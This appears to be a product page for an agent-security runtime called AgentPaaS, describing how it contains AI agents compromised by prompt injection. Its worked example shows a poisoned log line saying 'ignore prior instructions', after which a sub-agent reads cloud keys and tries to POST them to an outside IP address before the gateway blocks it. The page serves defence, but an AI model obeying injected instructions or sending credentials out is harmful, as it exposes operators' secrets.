AGENT SECURITY

What is agent security, and how does AgentPaaS enforce it?

Agent security is the practice of running AI agents as if the agent itself can be compromised. A poisoned prompt, a typosquatted dependency, or the agent's own generated code can turn a helpful agent into an exfiltration path. AgentPaaS enforces agent security at the runtime: every agent runs in an isolated container, on an internal-only network, behind a default-deny egress gateway, with credentials brokered per request and every action written to a tamper-evident audit log.

An agent reads untrusted input all day: tickets, logs, web pages, and emails. One poisoned line can instruct it to ignore its instructions and reach for whatever it can see. If API keys sit in its environment and the network is open, that is a breach. OWASP lists prompt injection as the #1 LLM risk. The response is least-privilege powers, deterministic runtime enforcement, and observable, auditable actions.

THE CONTROLS

Security enforced at runtime

• Isolated containers: non-root, read-only filesystem, no shell, dropped capabilities, seccomp. A compromised agent has nowhere to go.
• Default-deny egress: no route to the internet. Only declared destinations are reachable via the gateway. Everything else is denied.
• Brokered credentials: secrets never enter the agent environment. The gateway injects them into approved requests at runtime.
• Signed bundles: every agent is a signed .agentpaas package with publisher identity and provenance.
• Tamper-evident audit: every allow and deny is hash-chained and signed. Edit the log and verification fails. Paged on the attempt, not the breach.

A WORKED EXAMPLE

One poisoned line. One contained attempt.

$ agent: debug vendor logs
  |- child-1  fetch logs
  |- child-2  query vendor API
  \- child-3  summarize
       ^
       |  log payload: "..ignore prior instructions.."
       |
  child-3  reads environment .. cloud keys, DB strings
  child-3  POST https://198.51.100.77  <-- exfiltration

The agent was compromised. The destination was not on the allow list, the credential was never in its environment, and the denial is a signed audit event with full lineage.

THE LIMITS

Containment is not perfection

AgentPaaS contains blast radius; it does not prevent prompt injection. Container hardening is not a kernel 0-day sandbox. Outbound DLP is fingerprint-based, not semantic. Local mode trusts your machine; AgentPaaS protects you from the agent, not from you.

Threat model · How enforcement works · Known limitations

Last reviewed August 2026